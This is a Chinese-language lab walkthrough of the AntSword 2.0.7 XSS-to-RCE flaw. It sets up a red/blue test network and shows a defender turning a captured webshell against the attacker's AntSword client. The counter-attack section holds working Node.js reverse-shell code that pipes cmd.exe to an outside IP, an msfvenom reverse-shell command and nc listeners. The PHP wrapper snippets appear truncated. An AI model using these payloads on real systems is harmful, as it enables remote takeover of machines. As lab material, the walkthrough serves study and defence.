Zero

漏洞概述

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。

One

影响范围

AntSword <=2.0.7

Two

实验环境搭建

●环境拓扑

●安装v2.0.7版本蚁剑

版本2.0.7的蚁剑不能安装在Linux系统,所以将Windows 10物理机当做红队使用的主机。

下载地址:链接:https://pan.baidu.com/s/1x8bXH-ph6wRCZcmIt_HHDw
提取码:rizb

1.将压缩包解压,解压之后。

2.打开启动器,选择windows版本,双击AntSword.exe 启动文件。

3.初始化,配置核心源代码文件位置。

4.双击AntSword.exe 重启。

●蓝队靶标Centos 7

Centos 7自动获取到的IP地址为10.10.19.50

1.在靶机上搭建LAMP服务和phpcms v9.6.0环境。

2.边界FW2防火墙开放对应的接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

设置新的端口转发规则。

名称:可以任意取名,建议与规则相关;
协议:可以选择TCP、UDP、ICMP,一个规则最好只选一个协议,不然容易出问题;
源区域:这个指的是外网所在的区域,我们事先配置好了每个接口一个区域,因此只要选对应接口即可,FW2选ETH4,FW1选ETH2;
外部端口:这里是外网供访问的端口号,可以填单个端口或者一个端口段,如8000-9000;
目标区域:这里填写的是前往内网服务器路由的出接口,以FW2为例,如果要映射服务器就填写ETH3;
内部IP地址:这里填写内网服务器的IP地址,在下拉框的最后可以输入ip按回车即可变为可选的ip;
内部端口:这里填写内部服务器要映射的端口,可以填单个端口或者一个端口段,如8000-9000。

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

●蓝队靶标Windows Server 2016

Windows Server 2016自动获取到的IP地址是10.10.19.51

1.使用phpstudy搭建,启动nginx+mysql服务。

2.搭建好phpcms v9.6.0环境。

3.边界FW2防火墙开放对应的接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发->新增”,则可以添加新的端口转发规则。

设置新的端口转发规则。

将靶标Windows Server 2016上的phpcms平台映射到公网66.28.5.2的80端口上

配置完成后点击右下角保存,即可增加规则,但规则不会马上生效。规则是自上而下进行匹配的,可以按住规则右侧的白色按钮上下拖动调整顺序,最后点击“保存并应用”方可生效。

Three

反制

●反制条件

红队:Windows 10 蓝队:Centos 7

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

2.蓝队Centos 7 :关闭防火墙。

3.边界FW2防火墙开放接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

点击“编辑”,进入修改端口转发规则。

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

红队:Windows 10 蓝队:Windows Server 2016

1.红队通过phpcms v9.6.0文件上传漏洞,上传了一句话木马文件,并且使用蚁剑成功连接。

2.蓝队Windows Server 2016:关闭防火墙。

3.边界FW2防火墙开放接口

访问http://1.1.1.12/cgi-bin/luci/,输入root/goktech进行登录。

点击“网络->防火墙->端口转发”,则可以看到端口转发规则。

点击“编辑”,进入修改端口转发规则。

配置完成后点击右下角保存,即可修改规则,最后点击“保存并应用”方可生效。

4.红队Windows 10关闭杀毒软件,比如火绒、360等等。

如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。

●反制目的

当红队再次使用蚁剑连接时,直接反弹shell,蓝队可以反控红队机器。

●反制开始条件

红队:Windows 10 蓝队:Centos 7

1.蓝队检查日志时,发现红队使用蚁剑v2.0连接了20220609050516861.php。

2.查看20220609050516861.php,发现该文件是一句话木马文件。

●反制过程

Centos 7

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609050516861.php内容。

1.1 使用net.Socket方法制作木马

将以下内容进行base64编码,66.28.5.2为蓝队centos 7映射到公网上的IP地址,监听端口为10099。

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10099, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10099端口上。

将上面base64编码完成的内容放进Buffer函数中。

header("HTTP/1.1 500 Not ");
?>


1.2 使用MSF生成node.js木马

使用msfvenom 命令生成木马

msfvenom -p nodejs/shell_reverse_tcp LHOST=66.28.5.2 LPORT=10099 -f raw -o payload.js

将payload.js中的内容进行base64编码,将base64编码完成的代码放进Buffer函数。

header("HTTP/1.1 500 Not ");
?>


2.开启监听端口

蓝队使用nc开启监听10099端口。

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

●Windows Server 2016

1.蓝队就准备根据蚁剑v2.0漏洞进行反制红队,制作payload,修改20220609035913593.php内容。

将以下内容进行base64编码,66.28.5.2为蓝队靶机映射到公网上的IP地址,监听端口为10088。

var net = require("net"), sh = require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(10088, "66.28.5.2", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
在Node.js中提供了一个net.Socket对象,用于方便调用底层Socket接口,实现数据传输的功能。net.Socket既可以读也可以写,这个client建立socket链接,实现了将对方cmd.exe的标准输入输出与标准错误流转发到受害者自己的ip:10088端口上。

将上面base64编码完成的内容放进Buffer函数中。

header("HTTP/1.1 500 Not ");
?>


2.开启监听端口

蓝队靶机使用nc开启监听10088端口。

3.当红队再一次使用蚁剑进行连接webshell时,发现报错,可能以为自己的密码错了或者木马文件没了,而此时,红队已经被蓝队控制了。

Four